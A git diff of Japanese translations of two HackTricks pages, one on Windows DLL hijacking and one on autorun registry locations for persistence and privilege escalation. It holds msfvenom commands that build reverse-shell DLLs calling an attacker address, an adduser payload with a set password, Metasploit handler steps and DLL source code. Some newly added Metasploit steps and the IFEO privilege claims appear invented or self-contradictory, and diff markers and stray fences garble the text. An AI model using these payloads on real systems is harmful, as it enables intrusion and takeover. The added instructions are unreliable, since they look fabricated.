もし要件を満たす幸運がある場合は、[UACME](https://github.com/hfiref0x/UACME)プロジェクトをチェックしてみてください。このプロジェクトの**主な目標はUACのバイパス**ですが、おそらく書き込み権限を持つフォルダのパスを変更するだけで使用できるWindowsバージョンのDLLハイジャックのPoCが見つかるかもしれません。
|
||||
もし要件を満たす幸運がある場合は、[UACME](https://github.com/hfiref0x/UACME)プロジェクトをチェックしてみてください。このプロジェクトの**主な目標はUACのバイパス**ですが、おそらく書き込み権限を持つフォルダのパスを変更するだけで使用できるWindowsバージョンのDLLハイジャックのPoCを見つけることができます。
|
||||
|
||||
フォルダの**アクセス許可を確認する**には、次のコマンドを実行します:
|
||||
フォルダの**アクセス権限を確認する**には、次のコマンドを実行します:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
|
@ -137,7 +137,7 @@ dumpbin /export /path/file.dll
|
|||
|
||||
### **Meterpreter**
|
||||
|
||||
**rev shellを取得(x64):**
|
||||
**Revシェルを取得(x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
|
@ -148,7 +148,7 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
|
|||
|
||||
2. Metasploitコンソールを開き、以下のコマンドを実行します。
|
||||
|
||||
```shell
|
||||
```bash
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
set LHOST <attacker IP>
|
||||
|
@ -158,13 +158,41 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
|
|||
|
||||
`<attacker IP>`と`<attacker port>`を攻撃者のIPアドレスとポートに置き換えてください。
|
||||
|
||||
3. ターゲットマシンで、メータープリターを実行するために誘導する方法を選択します。以下の手法のいずれかを使用できます。
|
||||
3. ターゲットマシンで、メータープリターを実行するために、悪意のあるDLLを使用します。
|
||||
|
||||
- ファイルの実行:攻撃者が作成した悪意のあるファイルをターゲットマシンで実行させます。
|
||||
- ソーシャルエンジニアリング:攻撃者がターゲットユーザーを騙して、悪意のあるファイルを実行させます。
|
||||
- セキュリティホールの利用:既知のセキュリティホールを悪用して、メータープリターを実行します。
|
||||
- DLLハイジャック攻撃を実行するために、ターゲットマシン上のアプリケーションの実行可能ファイルを特定します。
|
||||
|
||||
4. メータープリターがターゲットマシンで実行されると、攻撃者はリモートシェルを取得し、ターゲットマシンを制御できるようになります。
|
||||
- Metasploitコンソールで以下のコマンドを実行し、DLLハイジャック攻撃のための悪意のあるDLLを生成します。
|
||||
|
||||
```bash
|
||||
use exploit/windows/local/hijack_dll
|
||||
set SESSION <session ID>
|
||||
set DLL_PATH <path to malicious DLL>
|
||||
exploit
|
||||
```
|
||||
|
||||
`<session ID>`をターゲットマシンのセッションIDに、`<path to malicious DLL>`を悪意のあるDLLのパスに置き換えてください。
|
||||
|
||||
4. ターゲットマシンで、DLLハイジャック攻撃を実行するために、悪意のあるDLLをターゲットアプリケーションのディレクトリに配置します。
|
||||
|
||||
5. ターゲットマシンで、ターゲットアプリケーションを実行すると、メータープリターが攻撃者のマシンに接続します。
|
||||
|
||||
6. Metasploitコンソールで、`sessions`コマンドを使用して接続されたセッションを表示します。
|
||||
|
||||
```bash
|
||||
sessions
|
||||
```
|
||||
|
||||
メータープリターのセッションが表示されます。
|
||||
|
||||
7. メータープリターセッションを選択し、攻撃を続行するために必要なコマンドを実行します。
|
||||
|
||||
```bash
|
||||
sessions -i <session ID>
|
||||
```
|
||||
|
||||
`<session ID>`をメータープリターセッションのIDに置き換えてください。
|
||||
```
|
||||
```
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
|
@ -175,7 +203,7 @@ msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
|||
```
|
||||
### あなた自身の
|
||||
|
||||
注意してください、いくつかの場合、コンパイルしたDllは、被害者プロセスによってロードされる**複数の関数をエクスポートする必要があります**。これらの関数が存在しない場合、**バイナリはロードできず、攻撃は失敗します**。
|
||||
注意してください。いくつかの場合、コンパイルしたDllは、被害者プロセスによってロードされる複数の関数を**エクスポートする必要があります**。これらの関数が存在しない場合、**バイナリはロードできず**、**攻撃は失敗します**。
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
|
@ -256,7 +284,7 @@ break;
|
|||
return TRUE;
|
||||
}
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
|
|
@ -5,16 +5,16 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、不可能をハックしたいのであれば - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -27,7 +27,7 @@ Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
|
|||
```
|
||||
## スケジュールされたタスク
|
||||
|
||||
**タスク**は、**特定の頻度**で実行されるようにスケジュールできます。次のコマンドでスケジュールされたバイナリを確認します。
|
||||
**タスク**は、**特定の頻度**で実行されるようにスケジュールすることができます。次のコマンドでスケジュールされたバイナリを確認します。
|
||||
```bash
|
||||
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
|
||||
schtasks /query /fo LIST 2>nul | findstr TaskName
|
||||
|
@ -180,7 +180,7 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion
|
|||
|
||||
`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
|
||||
|
||||
通常、**Userinit**キーはuserinit.exeを指し示しますが、このキーを変更できる場合、そのexeもWinlogonによって起動されます。\
|
||||
通常、**Userinit**キーはuserinit.exeを指し示しますが、このキーを変更できる場合、Winlogonによってそのexeも起動されます。\
|
||||
**Shell**キーはexplorer.exeを指し示すべきです。
|
||||
```bash
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
|
||||
|
@ -228,7 +228,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**Exploit 3 (PATHの書き込み権限とboot.iniの書き込み権限)**: boot.iniを書き込むことができれば、次回の再起動時に自動的にセーフモードで起動できます。
|
||||
**Exploit 3 (PATHの書き込み権限とboot.iniの書き込み権限)**: boot.iniを書き込むことができれば、次回の再起動時にセーフモードでの自動起動を行うことができます。
|
||||
{% endhint %}
|
||||
```bash
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
|
||||
|
@ -253,7 +253,7 @@ Active Setupはデスクトップが表示される前に実行されます。Ac
|
|||
* これは、Active Setupがログオン時にこのコンポーネントを実行する必要があると判断した場合に実行されるコマンドです。
|
||||
|
||||
{% hint style="info" %}
|
||||
_**IsInstalled == "1"**_ である任意のキーの **StubPath** を書き換えることができれば、それをバックドアに指定して特権を昇格させることができます。また、**StubPath** キーが指す任意の **バイナリ** を上書きすることができれば、特権を昇格させることができます。
|
||||
_**IsInstalled == "1"**_ である任意のキーの **StubPath** を書き換えることができれば、それをバックドアに指定して特権をエスカレーションさせることができます。また、**StubPath** キーが指す任意の **バイナリ** を上書きすることができれば、特権をエスカレーションさせることができます。
|
||||
{% endhint %}
|
||||
```bash
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
|
||||
|
@ -266,7 +266,7 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components
|
|||
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
|
||||
* `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
|
||||
|
||||
**ブラウザヘルパーオブジェクト**(**BHO**)は、MicrosoftのInternet Explorerウェブブラウザのプラグインとして追加機能を提供するために設計されたDLLモジュールです。これらのモジュールは、Internet Explorerの各新しいインスタンスとWindows Explorerの各新しいインスタンスごとに実行されます。ただし、BHOは、キー**NoExplorer**を1に設定することで、各インスタンスのExplorerでの実行を防止することができます。
|
||||
**ブラウザヘルパーオブジェクト**(**BHO**)は、MicrosoftのInternet Explorerウェブブラウザのプラグインとして追加機能を提供するために設計されたDLLモジュールです。これらのモジュールは、Internet Explorerの新しいインスタンスごとおよびWindows Explorerの新しいインスタンスごとに実行されます。ただし、BHOは、キー**NoExplorer**を1に設定することで、各Explorerのインスタンスでの実行を防止することができます。
|
||||
|
||||
BHOは、Windows 10のInternet Explorer 11までサポートされていますが、デフォルトのWebブラウザであるMicrosoft EdgeではBHOはサポートされていません。
|
||||
```bash
|
||||
|
@ -304,19 +304,21 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\she
|
|||
```
|
||||
### Image File Execution Options
|
||||
|
||||
Image File Execution Options(IFEO)は、Windowsオペレーティングシステムで実行されるプロセスの動作をカスタマイズするための機能です。IFEOは、デバッグ用途で開発者が使用することを意図していますが、悪意のある目的で利用されることもあります。
|
||||
Image File Execution Options(IFEO)は、Windowsオペレーティングシステムで実行されるプロセスの動作を変更するための機能です。IFEOは、デバッグ用途で開発者が使用することを意図していますが、悪意のある目的で利用されることもあります。
|
||||
|
||||
IFEOを悪用すると、特権昇格攻撃を実行することができます。攻撃者は、IFEOを使用してシステム上の実行可能ファイルを指定し、そのファイルが実行されるたびに任意のコードを実行することができます。
|
||||
IFEOを悪用すると、特権昇格攻撃を実行することができます。攻撃者は、IFEOを使用してシステム上で実行されるプロセスを置き換えることができます。これにより、攻撃者は特権レベルのプロセスを実行し、システムに対する完全な制御を取得することができます。
|
||||
|
||||
特権昇格攻撃を実行するためには、攻撃者は管理者権限を持つ必要があります。しかし、IFEOを使用することで、攻撃者は通常のユーザー権限で特権昇格攻撃を実行することができます。
|
||||
IFEOを使用した特権昇格攻撃を実行するためには、攻撃者は管理者権限を持つ必要があります。攻撃者は、IFEOの設定を変更するためにレジストリエディタやコマンドラインツールを使用することができます。
|
||||
|
||||
IFEOを使用した特権昇格攻撃を防ぐためには、次の手順を実行することが重要です。
|
||||
IFEOを悪用する攻撃の一例として、システム上で実行されるプロセスの代わりに、特権を持つプロセスを実行するためにデバッガを指定することがあります。攻撃者は、デバッガとして自身のプログラムを指定し、特権レベルのコードを実行することができます。
|
||||
|
||||
1. 不要なIFEOエントリを削除する。
|
||||
2. IFEOエントリの変更を監視する。
|
||||
3. セキュリティソフトウェアを使用してIFEOの悪用を検出する。
|
||||
IFEOを悪用されないようにするためには、以下の対策を実施することが重要です。
|
||||
|
||||
IFEOは、システムのデバッグやトラブルシューティングに便利な機能ですが、悪意のある攻撃に悪用される可能性もあるため、適切なセキュリティ対策が必要です。
|
||||
- 不要なIFEOエントリを削除する
|
||||
- IFEOエントリの変更を監視する
|
||||
- セキュリティソフトウェアを使用してIFEOの悪用を検出する
|
||||
|
||||
IFEOは、Windowsのセキュリティ上の脆弱性となる可能性があるため、適切な対策を講じることが重要です。
|
||||
```
|
||||
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
|
||||
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
|
||||
|
@ -329,7 +331,7 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
```
|
||||
## もっと
|
||||
|
||||
[https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)で、レジストリのようなAutorunsをさらに見つけることができます。
|
||||
[https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)でレジストリのようなAutorunsをさらに見つけることができます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -337,9 +339,9 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
|
||||
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし興味があるなら、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -347,9 +349,9 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
|
|